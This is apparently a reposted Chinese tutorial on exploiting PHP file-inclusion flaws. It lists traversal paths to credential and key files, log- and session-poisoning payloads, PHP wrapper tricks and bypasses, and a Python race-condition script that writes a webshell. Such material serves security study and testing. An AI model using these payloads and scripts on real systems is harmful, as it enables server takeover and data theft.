分類
發燒車訊

PHP文件包含 整理

文件包含

目錄

  • 文件包含
    • 1. 概述
      • 1.1 常見的引發漏洞的函數:
      • 1.2 利用條件
      • 1.3 分類和利用思路
    • 2. 利用方法
      • 2.1 配合文件解析漏洞來包含
      • 2.2 讀取系統敏感文件(路徑遍歷)
      • 2.3 包含http日誌文件
      • 2.4 包含SSH日誌
      • 2.5 使用PHP偽協議
      • 2.6 配合phpinfo頁面包含臨時文件
      • 2.7 包含Session
      • 2.9 包含環境變量
    • 3. 繞過技巧
      • 3.1 限制路徑路徑
      • 3.2 限制後綴
      • 3.3 allow_url_include = off
      • 3.4 Base64 處理的session文件
      • 3.5 自己構造Session
      • 3.6 CVE-2018-14884

參考資料:
文件包含漏洞簡介
利用phpinfo條件競爭
PHP文件包含漏洞利用思路與Bypass總結手冊

1. 概述

什麼是文件包含:文件包含函數所加載的參數沒有經過過濾或者嚴格的定義,可以被用戶控制,包含其他文件或惡意代碼,導致信息泄露或代碼注入。

要求:包含的文件路徑攻擊者可控,被包含的文件web服務器可訪問。

1.1 常見的引發漏洞的函數:

  1. include()執行到include時才包含文件,文件不存在時提出警告,但是繼續執行
  2. require()只要程序運行就會包含文件,文件不存在產生致命錯誤,並停止腳本
  3. include_once()require_once()只執行一次,如果一個文件已經被包含,則這兩個函數不會再去包含(即使文件中間被修改過)。

當利用這四個函數來包含文件時,不管文件是什麼類型(圖片、txt等等),其中的文本內容都會直接作為php代碼進行解析。

1.2 利用條件

  • 包含函數通過動態變量的方式引入需要包含的參數。

  • PHP中只要文件內容符合PHP語法規範,不管是什麼後綴,都會被解析。

1.3 分類和利用思路

文件包含通常按照包含文件的位置分為兩類:本地文件包含(LFI)和遠程文件包含(RFI),顧名思義,本地文件包含就是指包含本地服務器上存儲的一些文件;遠程文件包含則是指被包含的文件不存儲在本地。

本地文件包含

  1. 包含本地文件、執行代碼
  2. 配合文件上傳,執行惡意腳本
  3. 讀取本地文件
  4. 通過包含日誌的方式GetShell
  5. 通過包含/proc/self/envion文件GetShell
  6. 通過偽協議執行惡意腳本
  7. 通過phpinfo頁面包含臨時文件

遠程文件包含

  1. 直接執行遠程腳本(在本地執行)

遠程文件包含需要在php.ini中進行配置,才可開啟:

allow_url_fopen = On:本選項激活了 URL 風格的 fopen 封裝協議,使得可以訪問 URL 對象文件。默認的封裝協議提供用 ftp 和 http 協議來訪問遠程文件,一些擴展庫例如 zlib 可能會註冊更多的封裝協議。(出於安全性考慮,此選項只能在 php.ini 中設置。)

allow_url_include = On:此選項允許將具有URL形式的fopen包裝器與以下功能一起使用:include,include_once,require,require_once。(該功能要求allow_url_fopen開啟)

2. 利用方法

2.1 配合文件解析漏洞來包含

http://target.com/?page=../../upload/123.jpg/.php

2.2 讀取系統敏感文件(路徑遍歷)

include.php?file=../../../../../../../etc/passwd

Windows:

​ C:\boot.ini //查看系統版本
​ C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
​ C:\Windows\repair\sam //存儲系統初次安裝的密碼
​ C:\Program Files\mysql\my.ini //Mysql配置
​ C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
​ C:\Windows\php.ini //php配置信息
​ C:\Windows\my.ini //Mysql配置信息

Linux:

/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件標識符)
/proc/mounts
/porc/config.gz

2.3 包含http日誌文件

通過包含日誌文件,來執行夾雜在URL請求或者User-Agent頭中的惡意腳本

  1. 通過讀取配置文件確定日誌文件地址

    默認地址通常為:/var/log/httpd/access_log/var/log/apache2/access.log

  2. 請求時直接在URL後面加上腳本即可http://www.target.com/index.php<?php phpinfo();?>,之後去包含這個日誌文件即可。

  3. 注意:日誌文件會記錄最為原始的URL請求,在瀏覽器地址欄中輸入的地址會被URL編碼,通過CURl或者Burp改包繞過編碼。

apache+Linux 日誌默認路徑
/etc/httpd/logs/access_log
/var/log/httpd/access_log
xmapp日誌默認路徑
D:/xampp/apache/logs/access.log
D:/xampp/apache/logs/error.log
IIS默認日誌文件
C:/WINDOWS/system32/Logfiles
%SystemDrive%/inetpub/logs/LogFiles
nginx
/usr/local/nginx/logs
/opt/nginx/logs/access.log

通過包含環境變量/proc/slef/enversion來執行惡意腳本,修改HTTP請求的User-Agent報頭,但是沒復現成功

2.4 包含SSH日誌

和包含HTTP日誌類似,登錄用戶的用戶名會被記錄在日誌中,如果可以讀取到ssh日誌文件,則可以利用惡意用戶名注入php代碼。

SSH登錄日誌常見存儲位置:/var/log/auth.log/var/log/secure

2.5 使用PHP偽協議

PHP內置了很多URL 風格的封裝協議,除了用於文件包含,還可以用於很多文件操作函數。在phpinfo的Registered PHP Streams中可以找到目前環境下可用的協議。

file:// — 訪問本地文件系統
http:// — 訪問 HTTP(s) 網址
ftp:// — 訪問 FTP(s) URLs
php:// — 訪問各個輸入/輸出流(I/O streams
zlib:// — 壓縮流
data:// — 數據(RFC 2397)
glob:// — 查找匹配的文件路徑模式
phar:// — PHP 壓縮文件
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音頻流
expect:// — 處理交互式的流
  1. file://訪問本地文件系統http://target.com/?page=file://D:/www/page.txt,正反斜線都行(windows),對於共享文件服務器可以使用\\smbserver\share\path\to\winfile.ext

  2. php://input訪問輸入輸出流:?page=php://input,在POST內容中輸入想要執行的腳本。

  3. php://filter:是一種元封裝器, 設計用於數據流打開時的篩選過濾應用。

    全部可用過濾器列表:https://www.php.net/manual/zh/filters.php

    通常利用該偽協議來讀取php源碼,通過設定編碼方式(以base64編碼為例),可以防止讀取的內容被當做php代碼解析,利用方式(就是read寫不寫的區別):

    index.php?file=php://filter/read=convert.base64-encode/resource=index.php
    index.php?file=php://filter/convert.base64-encode/resource=index.php
    
  4. data://數據流封裝:?page=data://text/plain,腳本

  1. zip://壓縮流:創建惡意代碼文件,添加到壓縮文件夾,上傳,無視後綴。通過?page=zip://絕對路徑%23文件名訪問,5.2.9之前是只能絕對路徑。

備註:

  1. 文件需要絕對路徑才能訪問

  2. 需要通過#(也就是URL中的%23)來指定代碼文件

  3. compress.bzip2://compress.zlib://壓縮流,與zip類似,但是支持相對路徑無視後綴

    bzipgzip是對單個文件進行壓縮(不要糾結要不要指定壓縮包內的文件)

    ?file=compress.bzip2://路徑
    ?file=compress.zlib://路徑
    
  4. phar://支持zip、phar格式的壓縮(歸檔)文件,無視後綴(也就是說jpg後綴照樣給你解開來),?file=phar://壓縮包路徑/壓縮包內文件名,絕對路徑和相對路徑都行。

    利用方法:

    index.php?file=phar://test.zip/test.txt
    index.php?file=phar://test.xxx/test.txt
    

    製作phar文件(php5.3之後):

    1. 設置php.iniphar.readonly=off
    2. 製作生成腳本
    <?php 
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub
    $phar->addFromString("test.txt", "<?php phpinfo();?>"); //添加要壓縮的文件及內容
    $phar->stopBuffering(); //簽名自動計算
    ?>
    // 這個腳本需要使用php.exe 來生成
    
    1. 生成腳本2

      <?php
      $p = new PharData(dirname(__FILE__).'./test.123', 0,'test',Phar::ZIP);
      $p->addFromString('test.txt', '<?php phpinfo();?>');
      ?>
      //這個腳本可以通過訪問來觸發,在本地生成一個test.123,但是不能生成後綴為phar的文件(其他的都行,甚至是php)
      

2.6 配合phpinfo頁面包含臨時文件

向phpinfo頁面上傳文件的時候,phpinfo會返回臨時文件的保存路徑

臨時文件存活時間很短,當連接結束后,臨時文件就會消失。條件競爭

只要發送足夠多的的數據,讓頁面還未反應過來的時候去包含文件,即可。

  1. 發送包含了webshell的上傳數據包給phpinfo頁面,這個數據包的header、get等位置需要塞滿垃圾數據

  2. 因為phpinfo頁面會將所有數據都打印出來,1中的垃圾數據會將整個phpinfo頁面撐得非常大

  3. php默認的輸出緩衝區大小為4096,可以理解為php每次返回4096個字節給socket連接

  4. 所以,我們直接操作原生socket,每次讀取4096個字節。只要讀取到的字符里包含臨時文件名,就立即發送第二個數據包

  5. 此時,第一個數據包的socket連接實際上還沒結束,因為php還在繼續每次輸出4096個字節,所以臨時文件此時還沒有刪除

  6. 利用這個時間差,第二個數據包,也就是文件包含漏洞的利用,即可成功包含臨時文件,最終getshell

    利用腳本exp

2.7 包含Session

  1. PHP將用戶Session以文件的形式保存在主機中,通過php.ini文件中的session.save_path字段可以設置具體的存儲位置,通過phpinfo頁面也可以查詢到;文件命名格式為:sess_<PHPSESSID>,其中PHPSESSID為用戶cookie中PHPSESSID對應的值;Session文件一些可能的保存路徑:

    /var/lib/php/sess_PHPSESSID
    /var/lib/php/sessions/sess_PHPSESSID
    /tmp/sess_PHPSESSID
    /tmp/sessions/sess_PHPSESSID
    
  2. Session文件內容有兩種記錄格式:php、php_serialize,通過修改php.ini文件中session.serialize_handler字段來進行設置。

    以php格式記錄時,文件內容中以|來進行分割:

    以php_serialize格式記錄時,將會話內容以序列化形式存儲:

  3. 如果保存的session文件中字符串可控,那麼就可以構造惡意的字符串觸發文件包含。

    先構造一個含有惡意字符串的session文件:?user=test&cmd=<?php phpinfo();?>,之後包含這個會話的session文件。

2.9 包含環境變量

CGI****利用條件:1231、php以cgi方式運行,這樣environ才會保存UA頭。``2、environ文件存儲位置已知,且environ文件可讀。利用姿勢:proc/self/environ中會保存user-agent頭。如果在user-agent中插入php代碼,則php代碼會被寫入到environ中。之後再包含它,即可。

3. 繞過技巧

3.1 限制路徑路徑

服務器限制了訪問文件的路徑,例如在變量前面追加'/var/www/html'限制只能包含web目錄下的文件,可以利用路徑穿越進行對抗。

../../../../../../../ect/passwd

對於輸入有過濾的情況,可以嘗試用URL編碼進行轉換,比如%2e%2e%2f,甚至是二次轉換。

3.2 限制後綴

對用戶輸入添加後綴,比如:自動添加.jgp後綴、或者期望用戶輸如一個父目錄,服務器自動拼接上子目錄和文件。

  1. 如果是遠程文件包含的話可以利用URL的特性?#

    構造出類似於http://test.com/evil.php?/static/test.phphttp://test.com/evil.php#/static/test.php的包含路徑,使得服務器預設的後綴變成URL的參數或者頁面錨點。

  2. 利用壓縮協議:構建一個壓縮包歸檔文件,裡面包含上服務器加的後綴,這樣完整的路徑將指向壓縮包內文件。

    比如壓縮包中文件為test.zip->test->defautl->test.php ,構造url:include.php?file=phar://test.zip/test,服務端拼接后變成include('phar://test.zip/test/defautl/test.php')

  3. 利用超長字符串進行截斷,在php<5.2.8的版本可以設置一個超級長的路徑,超過的部分將被服務器丟棄。

    win最長為256字節、Linux為4096字節,構造include.php?file=./././././(n多個)././test.php

  4. 利用00截斷:php<5.3.4時可用%00對字符串進行截斷,%00被是識別為字符串終止標記。

3.3 allow_url_include = off

利用SMB、webdav等使用UNC路徑的文件共享進行繞過。

  1. 利用SMB(只對Win的web服務器有效):構建SMB服務器后,構造URL:?include.php?file=\\172.16.97.128\test.php
  2. 利用WebDAV:構造連接?include.php?file=//172.16.97.128/webdav/test.php

3.4 Base64 處理的session文件

為了保護用戶的信息或存儲更多格式的信息,很多時候都會對Session文件進行編碼,以Base64編碼為例,闡述繞過思路。了解服務端使用的編碼模式以及對應的解碼模式;合理安排payload使其滿足解碼條件,只要不干擾php代碼運行就可以。

  1. 根據上邊介紹的偽協議的用法,可以知道使用index.php?file=php://filter/read=convert.base64-decode/resource=index.php即可對base64編碼的文件進行解碼,但是直接解碼session文件時會出現亂碼。其原因在於session文檔中包含的並非全部都是base64編碼的內容,session開頭的user|s:24:字符串也被當做base64進行解碼,從而導致出現亂碼的情況,因此如果能忽略前面的字符,就可以完美解碼了。

  2. 有利條件:PHP在進行base64解碼的時候並不會去處理非Base64編碼字符集的內容,直接忽略過去並拼接之後的內容。也就是說,Session文件中的:|{};"這類字符對Base64解碼沒有影響。

  3. Base64解碼過程簡單來說就是:將字符串按照每4個字符分為一組,解碼為二進制數據流再拼接到一起,因此要保證我們可以將payload正確解出,需要將編碼后的payload其實位置控制在4n+1的位置(第5、9、13…位)。(base64編碼后長度為原數據長度的4/3)

  4. user:|s:24:"有效字符有7個,若要將payload置於第9位,則需要再增加一個字符,簡單有效的辦法就是讓24變成一個三位數——填充無效數據擴充payload長度。

  5. serialize模式同理,session文件中a:1:{s:4:"user";s:24:"共11個干擾字符,因此同樣只需將payload產生的字符串長度增加到三位數即可。

3.5 自己構造Session

有的網站可能不提供用戶會話記錄,但是默認的配置可以讓我們自己構造出一個Session文件。相關的選項如下:

  • session.use_strict_mode = 0,允許用戶自定義Session_ID,也就是說可以通過在Cookie中設置PHPSESSID=xxx將session文件名定義為sess_xxx
  • session.upload_progress.enabled = on,PHP可以在每個文件上傳時監視上傳進度。
  • session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS",當一個上傳在處理中,同時POST一個與INI中設置的session.upload_progress.name同名變量時,上傳進度可以在$_SESSION中獲得。 當PHP檢測到這種POST請求時,它會在$_SESSION中添加一組數據, 索引是session.upload_progress.prefixsession.upload_progress.name連接在一起的值。

利用思路:

  1. 上傳一個文件

  2. 上傳時設置一個自定義PHPSESSIDcookie

  3. POST PHP_SESSION_UPLOAD_PROGRESS惡意字段:"PHP_SESSION_UPLOAD_PROGRESS":'<?php phpinfo();?>'

    這樣就會在Session目錄下生成一個包含惡意代碼的session文件。

  4. 但是php默認設置中會打開session.upload_progress.cleanup = on,也就是當文件上傳完成後會自動刪除session文件,使用條件競爭繞過,惡意代碼功能設置為生成一個shell.php。

利用exp:

import io
import sys
import requests
import threading

sessid = 'test'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://127.0.0.1/index.php',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[test])?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://127.0.0.1/include.php?file=D:\\phpstudy_pro\\Extensions\\tmp\\tmp\\sess_{sessid}')
        # print('[+++]retry')
        # print(response.text)

        if 'PHP Version' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

3.6 CVE-2018-14884

CVE-2018-14884會造成php7出現段錯誤,從而導致垃圾回收機制失效,POST的文件會保留在系統緩存目錄下而不會被清除。

影響版本:

PHP Group PHP 7.0.*,<7.0.27
PHP Group PHP 7.1.*,<7.1.13
PHP Group PHP 7.2.*,<7.2.1

windows 臨時文件:C:\windows\php<隨機字符>.tmp

linux臨時文件:/tmp/php<隨機字符>

  1. 漏洞驗證include.php?file=php://filter/string.strip_tags/resource=index.php返回500錯誤

  2. post惡意字符串

    import requests
    
    files = {
      'file': '<?php phpinfo();'
    }
    url = 'http://127.0.0.1/include.php?file=php://filter/string.strip_tags/resource=index.php'
    r = requests.post(url=url, files=files, allow_redirects=False)
    
  3. 在臨時文件中可以看到惡意代碼成功寫入

  4. 至於包含嘛,爆破或者其他手段探測這個臨時文件吧。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準